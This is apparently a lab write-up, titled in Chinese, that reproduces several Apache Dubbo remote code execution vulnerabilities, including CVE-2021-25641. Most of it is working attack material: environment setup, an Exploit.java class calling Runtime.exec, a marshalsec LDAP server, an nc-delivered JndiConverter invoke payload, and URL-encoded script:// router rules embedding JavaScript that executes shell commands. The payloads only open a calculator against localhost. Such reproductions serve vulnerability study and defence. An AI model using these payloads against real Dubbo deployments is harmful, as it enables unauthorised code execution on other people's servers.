Apache Dubbo相关漏洞复现

wget http://archive.apache.org/dist/zookeeper/zookeeper-3.3.3/zookeeper-3.3.3.tar.gztar zxvf zookeeper-3.3.3.tar.gzcd zookeeper-3.3.3cp conf/zoo_sample.cfg conf/zoo.cfg

vi conf/zoo.cfg

# The number of milliseconds of each ticktickTime=2000# The number of ticks that the initial# synchronization phase can takeinitLimit=10# The number of ticks that can pass between# sending a request and getting an acknowledgementsyncLimit=5# the directory where the snapshot is stored.dataDir=/private/var/tmp/zookeeper-3.3.3/data# the port at which the clients will connectclientPort=2181

mkdir datavi myid

cd /private/var/tmp/zookeeper-3.3.3/bin./zkServer.sh start

git clone https://github.com/apache/dubbo-samples.git  cd dubbo-samples/dubbo-samples-api

<?xml version="1.0" encoding="UTF-8"?><project xmlns="http://maven.apache.org/POM/4.0.0"         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">    <modelVersion>4.0.0</modelVersion>
    <groupId>org.example</groupId>    <artifactId>dubbomytest</artifactId>    <packaging>pom</packaging>    <version>1.0-SNAPSHOT</version>    <build>        <plugins>            <plugin>                <groupId>org.apache.maven.plugins</groupId>                <artifactId>maven-compiler-plugin</artifactId>                <configuration>                    <source>8</source>                    <target>8</target>                </configuration>            </plugin>        </plugins>    </build>

    <properties>        <source.level>1.8</source.level>        <target.level>1.8</target.level>        <dubbo.version>2.7.6</dubbo.version>        <junit.version>4.12</junit.version>        <docker-maven-plugin.version>0.30.0</docker-maven-plugin.version>        <jib-maven-plugin.version>1.2.0</jib-maven-plugin.version>        <maven-compiler-plugin.version>3.7.0</maven-compiler-plugin.version>        <maven-failsafe-plugin.version>2.21.0</maven-failsafe-plugin.version>        <image.name>${project.artifactId}:${dubbo.version}</image.name>        <java-image.name>openjdk:8</java-image.name>        <dubbo.port>20880</dubbo.port>        <zookeeper.port>2181</zookeeper.port>        <main-class>org.apache.dubbo.samples.provider.Application</main-class>    </properties>
    <dependencies>        <dependency>            <groupId>org.apache.dubbo</groupId>            <artifactId>dubbo</artifactId>            <version>2.7.3</version>        </dependency>        <dependency>            <groupId>org.apache.dubbo</groupId>            <artifactId>dubbo-common</artifactId>            <version>2.7.3</version>        </dependency>
        <dependency>            <groupId>org.apache.dubbo</groupId>            <artifactId>dubbo-dependencies-zookeeper</artifactId>            <version>2.7.6</version>            <type>pom</type>        </dependency>
        <dependency>            <groupId>junit</groupId>            <artifactId>junit</artifactId>            <version>${junit.version}</version>            <scope>test</scope>        </dependency>
    </dependencies>
</project>

mvn clean package

git clone https://github.com/Dor-Tumarkin/CVE-2021-25641-Proof-of-Concept.git

public static String DUBBO_RCE_COMMAND = "open /System/Applications/Calculator.app"; //Mac

List<Object> list;        try {            list = JSON.parseArray("[" + args + "]", Object.class);        } catch (Throwable t) {            return "Invalid json argument, cause: " + t.getMessage();        }

if (!StringUtils.isEmpty(service)) {            buf.append("Use default service ").append(service).append(".");        }        if (selectedProvider == null) {            buf.append("rnNo such service ").append(service);            return buf.toString();        }        if (invokeMethod == null) {            buf.append("rnNo such method ").append(method).append(" in service ").append(service);            return buf.toString();        }        try {            Object[] array = realize(list.toArray(), invokeMethod.getParameterTypes(),                    invokeMethod.getGenericParameterTypes());            long start = System.currentTimeMillis();            AppResponse result = new AppResponse();            try {                Object o = invokeMethod.invoke(selectedProvider.getServiceInstance(), array);                result.setValue(o);            } catch (Throwable t) {                result.setException(t);            }            long end = System.currentTimeMillis();            buf.append("rnresult: ");            buf.append(JSON.toJSONString(result.recreate()));            buf.append("rnelapsed: ");            buf.append(end - start);            buf.append(" ms.");        } catch (Throwable t) {            return "Failed to invoke method " + invokeMethod.getName() + ", cause: " + StringUtils.toString(t);        }        return buf.toString();    }

cd dubbo-samples/dubbo-samples-basicmvn clean package

vim Exploit.java

public class Exploit {    public Exploit(){        try{            Runtime.getRuntime().exec("/bin/bash -c /System/Applications/Calculator.app/Contents/MacOS/Calculator");        }catch(Exception e){            e.printStackTrace();        }    }    public static void main(String[] argv){        Exploit e = new Exploit();    }}

javac Exploit.java

python3 -m http.server 8080

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8080/#Exploit"

echo "invoke org.apache.dubbo.samples.basic.api.DemoService.sayHello({'class':'org.apache.xbean.propertyeditor.JndiConverter','asText': 'ldap://127.0.0.1:1389/Exploit'})" | nc -i 1 127.0.0.1 20880

public class TagRuleParser {
    public static TagRouterRule parse(String rawRule) {        Constructor constructor = new Constructor(TagRouterRule.class);        TypeDescription tagDescription = new TypeDescription(TagRouterRule.class);        tagDescription.addPropertyParameters("tags", Tag.class);        constructor.addTypeDescription(tagDescription);
        Yaml yaml = new Yaml(constructor);        TagRouterRule rule = yaml.load(rawRule);        rule.setRawRule(rawRule);        if (CollectionUtils.isEmpty(rule.getTags())) {            rule.setValid(false);        }
        rule.init();        return rule;    }}

consumer%3A%2F%2F127.0.0.1%2Fcom.threedr3am.learn.server.boot.DemoService%3Fapplication%3Ddubbo-consumer%26category%3Dconsumers%26check%3Dfalse%26dubbo%3D2.0.2%26init%3Dfalse%26interface%3Dcom.threedr3am.learn.server.boot.DemoService%26metadata-type%3Dremote%26methods%3Dhello%26pid%3D53953%26qos.enable%3Dfalse%26release%3D2.7.7%26revision%3D1.0%26side%3Dconsumer%26sticky%3Dfalse%26timestamp%3D1622381389749%26version%3D1.0

consumer://127.0.0.1/com.threedr3am.learn.server.boot.DemoService?application=dubbo-consumer&category=consumers&check=false&dubbo=2.0.2&init=false&interface=com.threedr3am.learn.server.boot.DemoService&metadata-type=remote&methods=hello&pid=53953&qos.enable=false&release=2.7.7&revision=1.0&side=consumer&sticky=false&timestamp=1622381389749&version=1.0

script://127.0.0.1/com.threedr3am.learn.server.boot.DemoService?application=dubbo-consumer&category=routers&check=false&dubbo=2.0.2&init=false&interface=com.threedr3am.learn.server.boot.DemoService&metadata-type=remote&methods=hello&pid=53953&qos.enable=false&release=2.7.7&revision=1.0&side=consumer&sticky=false&timestamp=1622381389749&version=1.0&route=script&type=javascript&rule=s%3D%5B3%5D%3Bs%5B0%5D%3D'%2Fbin%2Fbash'%3Bs%5B1%5D%3D'-c'%3Bs%5B2%5D%3D'open%20-a%20calculator'%3Bjava.lang.Runtime.getRuntime().exec(s)%3B

s=[3];s[0]='/bin/bash';s[1]='-c';s[2]='open -a calculator';java.lang.Runtime.getRuntime().exec(s);

script%3A%2F%2F127.0.0.1%2Fcom.threedr3am.learn.server.boot.DemoService%3Fapplication%3Ddubbo-consumer%26category%3Drouters%26check%3Dfalse%26dubbo%3D2.0.2%26init%3Dfalse%26interface%3Dcom.threedr3am.learn.server.boot.DemoService%26metadata-type%3Dremote%26methods%3Dhello%26pid%3D53953%26qos.enable%3Dfalse%26release%3D2.7.7%26revision%3D1.0%26side%3Dconsumer%26sticky%3Dfalse%26timestamp%3D1622381389749%26version%3D1.0%26route%3Dscript%26type%3Djavascript%26rule%3Ds%253D%255B3%255D%253Bs%255B0%255D%253D'%252Fbin%252Fbash'%253Bs%255B1%255D%253D'-c'%253Bs%255B2%255D%253D'open%2520-a%2520calculator'%253Bjava.lang.Runtime.getRuntime().exec(s)%253B